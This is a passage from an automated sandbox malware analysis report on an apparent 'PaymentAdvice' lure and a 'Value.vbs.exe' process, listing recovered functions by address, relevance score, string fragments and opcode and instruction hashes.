Instruction Fuzzy Hash: CBF0B435704105DFD714CAA5F8017DA7BEBEB85325F208076E00CC3648EB31A861C780

Function 0A2A6D89 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2160452598.000000000A2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a2a0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9ae35ca2bb24670f7a8f9538109eac6a9c47a41b2b3718a8bed266747cc225c
Instruction ID: 1cb62c03bf6d1ef3e79ec4e55ea4c0a55c4ba8b6a033d83987eb96d36fca1254
Opcode Fuzzy Hash: c9ae35ca2bb24670f7a8f9538109eac6a9c47a41b2b3718a8bed266747cc225c
Instruction Fuzzy Hash: 15017174A141688FCB54DF68C988A9DBFF1EF48308F1440EAE50AA7249DB345D85CF60

Function 0A2A6DF9 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2160452598.000000000A2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a2a0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b69e47b60bf9b759b63c623ad6b7e54a0cf40f24ee79c0ab22ccaf7168056e7
Instruction ID: c63a328bb596c66dd2b1b19c1c458179629fcd3c957d06ad786ceadacc27cb55
Opcode Fuzzy Hash: 2b69e47b60bf9b759b63c623ad6b7e54a0cf40f24ee79c0ab22ccaf7168056e7
Instruction Fuzzy Hash: 74011E78A101598FCB54DF58D898B9EBBF1FB48308F1040EAE509A7348DB349D81CF50

Function 049AD4B0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2097956272.00000000049A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_49a0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7882123a40f35a0daea8211e86735dc4a06a0edd890be76c9dff338a59d60bf
Instruction ID: 5c7c1668e4993d945f261c80d08f01265bb925cac20624a4c1d8995d01811441
Opcode Fuzzy Hash: d7882123a40f35a0daea8211e86735dc4a06a0edd890be76c9dff338a59d60bf
Instruction Fuzzy Hash: 9DE06835F042348BCA2177AC40017BE7ACB8BC1718F0602B5C80E13B84DF283C2687D6

Function 049A7AD5 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2097956272.00000000049A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_49a0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd3744bb7699323571917c5ff8631bd2d187a00d45e7a97de611cfeeca21a850
Instruction ID: 49aa63ef0e2ce9322235cfe003f5214519fe6c830ac48de273b4b5033420fb51
Opcode Fuzzy Hash: fd3744bb7699323571917c5ff8631bd2d187a00d45e7a97de611cfeeca21a850
Instruction Fuzzy Hash: 9AF03730B402068FD714DFE4D595B6E77B2DF84304F104964D5029F665CB78AD49CBD0

Function 0A2B5CF0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2160452598.000000000A2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a2a0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a79aa80c952082ed1caa419ed61c8e13590d0fe83a4b9f49bb802e5b7d0c76d9
Instruction ID: 54db2ec32b77d152d5fe786312da0a3c5f4d23762359efd05d09e2fd13bf9fd2
Opcode Fuzzy Hash: a79aa80c952082ed1caa419ed61c8e13590d0fe83a4b9f49bb802e5b7d0c76d9
Instruction Fuzzy Hash: 9CE0ED74D25209EFCB44DFA8D545A9CFBF4EB48310F10C1A9981997341D676DA51DF40

Function 0A2BA530 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2160452598.000000000A2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a2a0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a79aa80c952082ed1caa419ed61c8e13590d0fe83a4b9f49bb802e5b7d0c76d9
Instruction ID: 71777cd5999f64fa4065a92a451f4f543c09ee27bc94ac3e61f4bc3abd8143b0
Opcode Fuzzy Hash: a79aa80c952082ed1caa419ed61c8e13590d0fe83a4b9f49bb802e5b7d0c76d9
Instruction Fuzzy Hash: 3FE0C9B4D15208EFCB44DFA8D54169CBBF4EB48350F10C1A99818A3341D6759A55DF40

Function 0A2BFE20 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2160452598.000000000A2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a2a0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59c13508376f1e5fe470ddf037dc5d340a5754a5242c78f62c4770eb19a702da
Instruction ID: 2ab5876215b7a94245693957c3ea5be19051a9d23fcafe79bb092c367dbcf5cc
Opcode Fuzzy Hash: 59c13508376f1e5fe470ddf037dc5d340a5754a5242c78f62c4770eb19a702da
Instruction Fuzzy Hash: 63E086B4929108EFC705DF98DA459BDFFB8EB45311F10C1A9D84457342C671DA52DB90

Function 0A2B8AC8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2160452598.000000000A2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a2a0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 499e842db3ac66719cdfc69e59eed5c6c8be2083fcfc206f76634e0784bfb7e1
Instruction ID: 78463788001eca89f19492931ebb276279403023b50fbe85ccb7a208291fcd5d
Opcode Fuzzy Hash: 499e842db3ac66719cdfc69e59eed5c6c8be2083fcfc206f76634e0784bfb7e1
Instruction Fuzzy Hash: 79E01A74D15108AFC708DF98D5415ACBBB8EB48301F20C1E9984853341D6759A01DB40

Function 0A2BB3A0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2160452598.000000000A2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a2a0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bf3126b4bbb7b4a64dc713410b79274404402bc2f505f60dafabbbc9d8704b4
Instruction ID: 7351dc69983049c5b437d1c3de7bbb26ca7943030e664265fd4e725652912279
Opcode Fuzzy Hash: 7bf3126b4bbb7b4a64dc713410b79274404402bc2f505f60dafabbbc9d8704b4
Instruction Fuzzy Hash: CFE0C27045110CDFC700EBB895005AD77FCEF85302F0045A9C40493250EE798A00DB62

Function 0A2BDF98 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2160452598.000000000A2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a2a0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d2745a1feea134bbfd0c4277487586e29e55479389238a8285971f3dcf9e042
Instruction ID: fc74219b299942c5a8d464312da3b0bccc4bce0f7e907197b34471758cdf9e74
Opcode Fuzzy Hash: 5d2745a1feea134bbfd0c4277487586e29e55479389238a8285971f3dcf9e042
Instruction Fuzzy Hash: 93E01274929108EBC704DF98E5416ECFBB8EB45315F2081EDD80817341CA76DE52DB81

Function 0A2A54ED Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2160452598.000000000A2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a2a0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa0182703cbc70986a2b2243508c64a4cefbc9ab4a7cadfa42296e827ca30540
Instruction ID: 932c476b829c7cb0db71ce187613002e647178b913e8e1f03bdd1a81fa29449b
Opcode Fuzzy Hash: aa0182703cbc70986a2b2243508c64a4cefbc9ab4a7cadfa42296e827ca30540
Instruction Fuzzy Hash: 37F06DB0A141288FC7109F24C858BAE7BB2EB89308F0044EC910D67286CF741D89DF65

Function 049A1B9C Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2097956272.00000000049A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_49a0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a41eb40a1312e39d08d149724ea9d9d6c15ccf50f68e51615c04c2a455251d56
Instruction ID: 8533878b728c3eb61bec0f0a3c490d7ae10a610b2861432799cbc21049ffd797
Opcode Fuzzy Hash: a41eb40a1312e39d08d149724ea9d9d6c15ccf50f68e51615c04c2a455251d56
Instruction Fuzzy Hash: 70A022F0EC8002232C003BA820E80B808C0EEC23003C0AC328200820003808B03800CA

Function 049AD530 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2097956272.00000000049A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_49a0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4621b77ea6369bf3fd755edb3a89fc49643c05a1c8c474604621a4c15f292fc
Instruction ID: f8dab7d3715ae2d6847a275fd3e10d062f2c18d287c62a564f10027eb8fad4e8
Opcode Fuzzy Hash: f4621b77ea6369bf3fd755edb3a89fc49643c05a1c8c474604621a4c15f292fc
Instruction Fuzzy Hash: 9490023114460CCB86402795754B595776C96545267804052E50D415015A5A64508595

Non-executed Functions

Function 0A2A0006 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2160452598.000000000A2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a2a0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03a5f3085e8b3f2060c7188d44daa3468d118baa805ae57b4b385cd43d34c35b
Instruction ID: 80a153d55c5d68d6595a90680c7fdfcae3179d2aea5238ee509fd888a79de353
Opcode Fuzzy Hash: 03a5f3085e8b3f2060c7188d44daa3468d118baa805ae57b4b385cd43d34c35b
Instruction Fuzzy Hash: C7315E70D092958FDB5ACF2A8C546CABFF6AF8A300F08C1FAC5489B256DB740985DF11

Function 0A2A0040 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2160452598.000000000A2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a2a0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0f6dfba6adf80e596d5cc98990ffffb76a6883776ba9aae1e0353a602d2b4b6
Instruction ID: 0599f80ea919a2e6f44b6079546ce6b3ba0099af4021ae312c8cb9065ed3d173
Opcode Fuzzy Hash: a0f6dfba6adf80e596d5cc98990ffffb76a6883776ba9aae1e0353a602d2b4b6
Instruction Fuzzy Hash: 3C310D70E152188BEB68CF2ACD84699BAF6BF88300F00C1FAD51DA7255DB744A858F00

Function 074D097A Relevance: 5.1, Strings: 4, Instructions: 53COMMON

Download Yara Rule

Strings

$]q, xrefs: 074D09C2
4']q, xrefs: 074D09E3
$]q, xrefs: 074D09CE
4']q, xrefs: 074D09EF

Memory Dump Source

Source File: 00000004.00000002.2143232343.00000000074D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_74d0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q
API String ID: 0-978391646
Opcode ID: cca35406e5d42b679c6373a20bf88087add16d036db7ab2d47a101572a209679
Instruction ID: 4a2bd9f190be4e2ccd938ccc86f6df9d79b11f526516f92b650cbd7032801b8b
Opcode Fuzzy Hash: cca35406e5d42b679c6373a20bf88087add16d036db7ab2d47a101572a209679
Instruction Fuzzy Hash: 9801B1A170E3964FD32A162818301A67FB39FC3600B2A05D7D0C0CB2A7CE198C45C7BB

Analysis Process: Value.vbs.exePID: 5232, Parent PID: 5948COMMON

Executed Functions

Function 0A5E0040 Relevance: 16.2, Strings: 12, Instructions: 1176COMMON

Download Yara Rule

Strings

$]q, xrefs: 0A5E0547
$]q, xrefs: 0A5E0537
$]q, xrefs: 0A5E096A
$]q, xrefs: 0A5E097A
$]q, xrefs: 0A5E02C3
$]q, xrefs: 0A5E0921
$]q, xrefs: 0A5E0497
$]q, xrefs: 0A5E0911
$]q, xrefs: 0A5E0487
$]q, xrefs: 0A5E02D3
,aq, xrefs: 0A5E0AFA
4, xrefs: 0A5E0A15

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID: ,aq$4$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3443518476
Opcode ID: 673ca7637a4a2e2160ac3f8d77486a3df3d6d23575a44402f2aee324c71aed19
Instruction ID: fd57765097cc1b9b7d8789ea3162659d58dfd693aebba2b9201463cbee8ef499
Opcode Fuzzy Hash: 673ca7637a4a2e2160ac3f8d77486a3df3d6d23575a44402f2aee324c71aed19
Instruction Fuzzy Hash: 98B20974A40218DFDB18DFA8C994BADB7B6BF48700F158599E505AB3A5CBB0EC81CF50

Function 0A5E0367 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

$]q, xrefs: 0A5E0537
$]q, xrefs: 0A5E096A
$]q, xrefs: 0A5E0911
$]q, xrefs: 0A5E0487
,aq, xrefs: 0A5E0AFA
4, xrefs: 0A5E0A15

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID: ,aq$4$$]q$$]q$$]q$$]q
API String ID: 0-324474496
Opcode ID: ae6bb3e823f03f127ac4532d9ecda528ce6f0be77ee960bd58d0a0c54e2bdfe4
Instruction ID: a4a095f1fa88f137f119f42001fdf7edf22a39088bc843315a4078690b5bff14
Opcode Fuzzy Hash: ae6bb3e823f03f127ac4532d9ecda528ce6f0be77ee960bd58d0a0c54e2bdfe4
Instruction Fuzzy Hash: 7D221974A40218DFDB28DFA4C994BADB7B2BF48304F1581A9D509AB2A5DB70ED81CF50

Function 0A5E38E0 Relevance: 4.4, Strings: 3, Instructions: 692COMMON

Download Yara Rule

Strings

(_]q, xrefs: 0A5E40AB
Pl]q, xrefs: 0A5E3AD7
$]q, xrefs: 0A5E3BBE

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID: (_]q$Pl]q$$]q
API String ID: 0-1486637480
Opcode ID: 79f2a708922d2d11b94eaa811bda8566dd25bf7946bbfafc3086b81c4e4d7400
Instruction ID: e17fe4e2da1d878c5b4bef8f1b8af7fda7161c9f30c160bbf00cc497b6f16c0d
Opcode Fuzzy Hash: 79f2a708922d2d11b94eaa811bda8566dd25bf7946bbfafc3086b81c4e4d7400
Instruction Fuzzy Hash: 2B425734B40208CFCB68DF29C994A6A77F6BF89710B1185A9E406DF3A5DB35EC41CB61

Function 0A5B62E0 Relevance: 3.1, Strings: 2, Instructions: 616COMMON

Download Yara Rule

Strings

fbq, xrefs: 0A5B63FD
8, xrefs: 0A5B63EA

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID: fbq$8
API String ID: 0-3186246319
Opcode ID: f8dd7b3e7702fb09585ffc4aefddb2925adbd64044c76347739cc1df88bc8a45
Instruction ID: 0c656bdd7deca4dc23a2dd98020c0d38e6001bba4f8fb1defc349e192f9b1e62
Opcode Fuzzy Hash: f8dd7b3e7702fb09585ffc4aefddb2925adbd64044c76347739cc1df88bc8a45
Instruction Fuzzy Hash: 2D52E475E016298FDB65DF68D850ADDB7B2FF89301F1085AAD909A7344DB30AE81CF90

Function 08C1B678 Relevance: 1.7, Strings: 1, Instructions: 453COMMON

Download Yara Rule

Strings

Te]q, xrefs: 08C1BA0A

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 8dab8f04e6db44cea94d1b167e62a34a857753a6df4c4608b03b7b223b3d22df
Instruction ID: 74800fe71335bb3454e6c57357ec2d0e8f6603e8d74c8eb7c378feca1cb07cc5
Opcode Fuzzy Hash: 8dab8f04e6db44cea94d1b167e62a34a857753a6df4c4608b03b7b223b3d22df
Instruction Fuzzy Hash: 4F2202B4A05218CFDB64CF6AD884BADB7F2FB8A311F1084A9D509A7755DB709E81CF10

Function 08C1B668 Relevance: 1.7, Strings: 1, Instructions: 447COMMON

Download Yara Rule

Strings

Te]q, xrefs: 08C1BA0A

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 93c4d10111dbd29d7cf44c404f5763b3cfe0e80df021224975c8e812b7613bb6
Instruction ID: 3c89ecdfcdbffdf36b707aa3c4b2fe0e6fbb185142a140247f342f59a1c579fe
Opcode Fuzzy Hash: 93c4d10111dbd29d7cf44c404f5763b3cfe0e80df021224975c8e812b7613bb6
Instruction Fuzzy Hash: E42222B4A05218CFDB24CF69D884B9EB7F2FB8A311F1081A9D509A7755DB709E81CF10

Function 08C1BEB6 Relevance: 1.7, Strings: 1, Instructions: 417COMMON

Download Yara Rule

Strings

Te]q, xrefs: 08C1BA0A

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: b8360f803242489f6bdc65bb6e6ab3348326a200c366ab9b4f063580cadbe093
Instruction ID: d4ec1c5659e444d6168e19979f1e6456095157361ebb8dde5e730325f31154d1
Opcode Fuzzy Hash: b8360f803242489f6bdc65bb6e6ab3348326a200c366ab9b4f063580cadbe093
Instruction Fuzzy Hash: 841222B8A01218CFDB64DF69D884B9DB7F2FB8A311F1084A9D509A7755DB70AE81CF10

Function 0A95EAB8 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Ddq, xrefs: 0A95EBBD

Memory Dump Source

Source File: 0000000C.00000002.2326667608.000000000A940000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a940000_Value.jbxd

Similarity

API ID:
String ID: Ddq
API String ID: 0-562783569
Opcode ID: 45e40b23d667e7d06495e3680f1f350055a3900fdfd1c8fde4af1afafe953f5c
Instruction ID: ed479741e85ec20cc5d51be1059f2feecbbbf51ce6f7c2cd80426f4eca287eb2
Opcode Fuzzy Hash: 45e40b23d667e7d06495e3680f1f350055a3900fdfd1c8fde4af1afafe953f5c
Instruction Fuzzy Hash: 55D1D274E00218CFDB64DFA9D994A9DBBF2BF88300F1081A9D509AB365DB35AD85CF50

Function 078800F0 Relevance: 15.6, Strings: 12, Instructions: 576COMMON

Download Yara Rule

Strings

$]q, xrefs: 0788064D
4']q, xrefs: 078801AE
4']q, xrefs: 078801A2
4']q, xrefs: 078804F5
$]q, xrefs: 0788061F
4']q, xrefs: 07880501
4']q, xrefs: 07880683
$]q, xrefs: 07880659
`Bhk, xrefs: 0788077B
4']q, xrefs: 07880361
4']q, xrefs: 07880677
4']q, xrefs: 07880355

Memory Dump Source

Source File: 0000000C.00000002.2317896093.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7880000_Value.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$`Bhk$$]q$$]q$$]q
API String ID: 0-3881570278
Opcode ID: 2b16cca29ae9ca09bd077fa83b3899076023825f5b2733f1d878d9fa16e0cc9d
Instruction ID: bbc3b40b8e11f7460e45a93baef7352a0cd530d4fb2f23ab8064a07e83560e1a
Opcode Fuzzy Hash: 2b16cca29ae9ca09bd077fa83b3899076023825f5b2733f1d878d9fa16e0cc9d
Instruction Fuzzy Hash: 3F026AB1B0431ACFCB65AF7888506AABBE5EFD6314F24807BD805CB251DB35C949C7A1

Function 07880CF8 Relevance: 12.8, Strings: 10, Instructions: 286COMMON

Download Yara Rule

Strings

$]q, xrefs: 07880D88
4']q, xrefs: 07880E07
4']q, xrefs: 07880FCE
$]q, xrefs: 07880FAB
$]q, xrefs: 07880F83
$]q, xrefs: 07880F9F
4']q, xrefs: 07880DFB
4']q, xrefs: 07880FC2
$]q, xrefs: 07880DD3
$]q, xrefs: 07880DDF

Memory Dump Source

Source File: 0000000C.00000002.2317896093.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7880000_Value.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-267665775
Opcode ID: 73a6dfd9657c19bf6e4b7f555563a553cb7d0af4af9cee383e9c8c75d97f6e80
Instruction ID: e9395d8966b1ae19944db8279f9eceb753bf4249811a0b5af6ff996d9554cfb9
Opcode Fuzzy Hash: 73a6dfd9657c19bf6e4b7f555563a553cb7d0af4af9cee383e9c8c75d97f6e80
Instruction Fuzzy Hash: E2919DB1B0430A8FCBA4AF79985067B7BE1EF91310F14847BD855CB252DB35D849C7A2

Function 0A5E4180 Relevance: 6.5, Strings: 5, Instructions: 208COMMON

Download Yara Rule

Strings

wa^, xrefs: 0A5E4362
(aq, xrefs: 0A5E4294
(aq, xrefs: 0A5E42EB
(aq, xrefs: 0A5E43CE
(aq, xrefs: 0A5E43A2

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID: (aq$(aq$(aq$(aq$wa^
API String ID: 0-876809431
Opcode ID: 0a77f0602f792cfa6445a4631649ee6d2fd532e890480eb4cd673c6b2accbbb2
Instruction ID: 0b731204aa0319ddd452e085da3025c700551938824a94fb13e55feab7b00316
Opcode Fuzzy Hash: 0a77f0602f792cfa6445a4631649ee6d2fd532e890480eb4cd673c6b2accbbb2
Instruction Fuzzy Hash: 3C71AE357146458FCB09EF68D850AAE3BA6FFC9301B1541A9E8058F395CF35DC46CBA1

Function 07881425 Relevance: 6.4, Strings: 5, Instructions: 185COMMON

Download Yara Rule

Strings

XX]q, xrefs: 078815D3
XX]q, xrefs: 07881556
Te]q, xrefs: 07881508
XX]q, xrefs: 078815C7
XX]q, xrefs: 0788154A

Memory Dump Source

Source File: 0000000C.00000002.2317896093.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7880000_Value.jbxd

Similarity

API ID:
String ID: Te]q$XX]q$XX]q$XX]q$XX]q
API String ID: 0-2750394778
Opcode ID: eb659898bc5de05572003ba4ce6acced4d2a9ae7dac90cc5eb7b385595c20980
Instruction ID: b8b680bba38e69a99ee729bd86d5f2e6c6a591906a583df785ae1565ef98aaba
Opcode Fuzzy Hash: eb659898bc5de05572003ba4ce6acced4d2a9ae7dac90cc5eb7b385595c20980
Instruction Fuzzy Hash: CE5189B1B1024A8FCB54AF3989656BA77D3AF95300F58842ED802CB695EF39C942C361

Function 07883C10 Relevance: 4.2, Strings: 2, Instructions: 1743COMMON

Download Yara Rule

Strings

4']q, xrefs: 07884FE9
4']q, xrefs: 07884FD9

Memory Dump Source

Source File: 0000000C.00000002.2317896093.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7880000_Value.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: b84e270607a7bbe60957e8564ae5bf8381471e1605714951f16d8c277731873e
Instruction ID: e005f26221c150333e47a2d6389328ff5416c1abcb728633eff7d445f92854be
Opcode Fuzzy Hash: b84e270607a7bbe60957e8564ae5bf8381471e1605714951f16d8c277731873e
Instruction Fuzzy Hash: D7E2C4B090938ADFCB56DFB8C858BEE7FB4AF12304F14409AE544DB2A3C6785845CB61

Function 0A5E6078 Relevance: 4.2, Strings: 3, Instructions: 487COMMON

Download Yara Rule

Strings

Haq, xrefs: 0A5E6591
Haq, xrefs: 0A5E65E1
Haq, xrefs: 0A5E655F

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID: Haq$Haq$Haq
API String ID: 0-3013282719
Opcode ID: bbced75b110087054fa6db129dc7f5b4aeec5d4e8a9f0f5fc9ef182a71868a8c
Instruction ID: 04bdd1d6ac0708fb642bc1747dc0445defd359c0d2c1b7e3d3bcc7832a3e4f0d
Opcode Fuzzy Hash: bbced75b110087054fa6db129dc7f5b4aeec5d4e8a9f0f5fc9ef182a71868a8c
Instruction Fuzzy Hash: CF127C34A002099FCB29DFA8D894AAEBBB2FF88300F14856DD4469B755DB35EC46CF50

Function 0A5E79A0 Relevance: 4.1, Strings: 3, Instructions: 370COMMON

Download Yara Rule

Strings

4']q, xrefs: 0A5E7C99
4']q, xrefs: 0A5E7D19
4']q, xrefs: 0A5E7BBA

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q
API String ID: 0-705557208
Opcode ID: c83783cdee8411e549d795b724df04ead6a5e34c16a318bdbec6d1d8d9fbf5db
Instruction ID: b3892f0a0e2ccda5a2cb8e798cf79e6a0d97066f215da50d0ac3e300bf03435d
Opcode Fuzzy Hash: c83783cdee8411e549d795b724df04ead6a5e34c16a318bdbec6d1d8d9fbf5db
Instruction Fuzzy Hash: EAF1BB34A10219DFDB08EFA4D998A9DBBB2FF88300F158559E905AB365DB74EC42CF50

Function 0A5EC380 Relevance: 4.1, Strings: 3, Instructions: 360COMMON

Download Yara Rule

Strings

(aq, xrefs: 0A5EC4A9
Haq, xrefs: 0A5EC501
(aq, xrefs: 0A5EC4D5

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID: (aq$(aq$Haq
API String ID: 0-2456560092
Opcode ID: 98a91568c59234ea9919e346fc19ceed9612ff4f5315cff038b3eec3cdf3d495
Instruction ID: 4afec4f1f70f1ce012bfb19a63699fc80d9d4a2f0e0be63ca3ad4bba6f129bd2
Opcode Fuzzy Hash: 98a91568c59234ea9919e346fc19ceed9612ff4f5315cff038b3eec3cdf3d495
